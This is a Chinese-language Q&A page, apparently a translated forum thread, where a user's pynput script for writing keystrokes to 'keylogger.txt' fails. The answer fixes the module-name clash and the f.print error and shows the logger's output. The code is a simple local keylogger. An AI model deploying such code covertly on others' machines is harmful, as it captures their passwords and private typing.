将按键存储到文本文件中
将按键存储到文本文件中
这个问题已经有了答案:
我从https://pynput.readthedocs.io/en/latest/keyboard.html中拿了一段代码,并将其修改为将按键存储到文本文件中。 但是,我在输出中收到了错误消息:
ImportError: cannot import name 'keyboard' from 'pynput'
搜索谷歌后出现...
from pynput.keyboard import Key, Listener
...但即使这个导入也与我的代码不兼容。 我已从上面的链接中下载了python3的pynput。 原始代码如下:
from pynput import keyboard def on_press(key): try: print('alphanumeric key {0} pressed'.format(key.char)) except AttributeError: print('special key {0} pressed'.format(key)) def on_release(key): print('{0} released'.format(key)) if key == keyboard.Key.esc: # Stop listener return False # Collect events until released with keyboard.Listener(on_press=on_press,on_release=on_release) as listener: listener.join()
修改后的代码:
import pynput from pynput import keyboard def on_press(key): with open("keylogger.txt", "a") as f: try: f.print('alphanumeric key {0} pressed'.format(key.char)) except AttributeError: f.print('special key {0} pressed'.format(key)) def on_release(key): with open("keylogger.txt", "a") as f: f.print('{0} released'.format(key)) if key == keyboard.Key.esc: # Stop listener return False # Collect events until released with keyboard.Listener(on_press=on_press,on_release=on_release) as listener: listener.join()
我是否遗漏了一些东西,以使程序正确地将按键存储到文本文件中?
admin 更改状态以发布 2023年5月22日
首先,不要把Python文件命名为与模块名称相同。
ImportError: cannot import name 'keyboard' from 'pynput' (/root/Testing6/Sample6_2/pynput.py)
Python在pynput脚本中查找keyboard
时,实际上是在寻找`pynput`模块。请参考模块搜索路径:
当导入名为
spam
的模块时,解释器首先查找具有该名称的内置模块。如果找不到,则在由变量sys.path
给出的目录列表中搜索名为spam.py的文件。sys.path从以下位置初始化:
- 包含输入脚本的目录(或未指定文件时的当前目录)。
PYTHONPATH
(具有与shell变量PATH相同的语法的目录名称列表)。- 安装相关的默认值。
在这里,Python在当前目录中找到了一个名为pynput
的模块,而不是你实际需要的那个模块keyboard
。因此,你只需将其重命名为其他名称(例如mykeylogger.py)。你目前的导入代码应该正常工作。
from pynput import keyboard
其次,不存在f.print
。文件对象没有print
方法。请将所有的f.print
更改为f.write
。
def on_press(key): with open("keylogger.txt", "a") as f: try: f.write('alphanumeric key {0} pressed'.format(key.char)) except AttributeError: f.write('special key {0} pressed'.format(key))
最后,注意pynput
有一些平台限制可能导致它无法工作。对于Linux,你只需确保:
- 必须运行X服务器。
- 必须设置环境变量
$DISPLAY
。
在此之后,您的程序将正常运行。
$ python3 mykeylogger.py aaabbb ^CTraceback (most recent call last): ... KeyboardInterrupt $ cat keylogger.txt alphanumeric key a pressed'a' releasedalphanumeric key a pressed'a' releasedalphanumeric key a pressed'a' releasedalphanumeric key b pressed'b' releasedalphanumeric key b pressed'b' releasedalphanumeric key b pressed'b' releasedspecial key Key.enter pressedKey.enter releasedspecial key Key.ctrl pressedalphanumeric key pressed